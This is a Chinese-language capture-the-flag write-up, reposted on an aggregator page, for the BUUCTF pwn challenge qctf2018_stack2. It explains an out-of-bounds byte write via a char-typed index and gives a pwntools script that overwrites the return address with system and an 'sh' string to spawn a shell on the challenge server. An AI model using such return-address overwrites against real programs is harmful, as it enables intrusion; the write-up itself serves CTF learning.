[BUUCTF-pwn]——qctf2018_stack2
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF-pwn]——qctf2018_stack2
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
[BUUCTF-pwn]——qctf2018_stack2
這道題注意一點v3的類型就好, 其他應(yīng)該木有什么可以說的吧, 它是char*類型., 也就是每個我們賦值的v7只有低位的一個字節(jié)可以寫進(jìn)去
漏洞就在這里, 可以利用這里, 以v3為基準(zhǔn)修改任意地址的數(shù)據(jù).
還有一點需要注意的是偏移, 我最一開始寫的時候, 想當(dāng)然寫成了0x40+4
主要原因是因為畫圈的位置改變了esp, 懶得看匯編往上面找了直接動態(tài)調(diào)試.
第一次執(zhí)行該匯編的時候, eax就是我們開始輸入的位置
然后直接定位到retn看棧頂
找下sh位置
exploit
from pwn import* p=remote('node3.buuoj.cn',26346) p.sendlineafter("How many numbers you have:\n","1") p.sendlineafter("Give me your numbers\n","1") p.recvuntil("5. exit\n")offset=0x84 sys = 0x08048450def write_addr(addr,num):p.sendline("3")p.sendlineafter("which number to change:\n",str(addr))p.sendlineafter("new number:\n",str(num))p.recvuntil("5. exit\n")write_addr(offset,0X50) write_addr(offset+1,0X84) write_addr(offset+2,0X04) write_addr(offset+3,0X08) sh_addr = 0x08048987 offset+=8 write_addr(offset,0x87) write_addr(offset+1,0X89) write_addr(offset+2,0X04) write_addr(offset+3,0X08)p.sendline("5") p.interactive()總結(jié)
以上是生活随笔為你收集整理的[BUUCTF-pwn]——qctf2018_stack2的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BUUCTF-pwn]——wustct
- 下一篇: [BUUCTF-pwn]——starct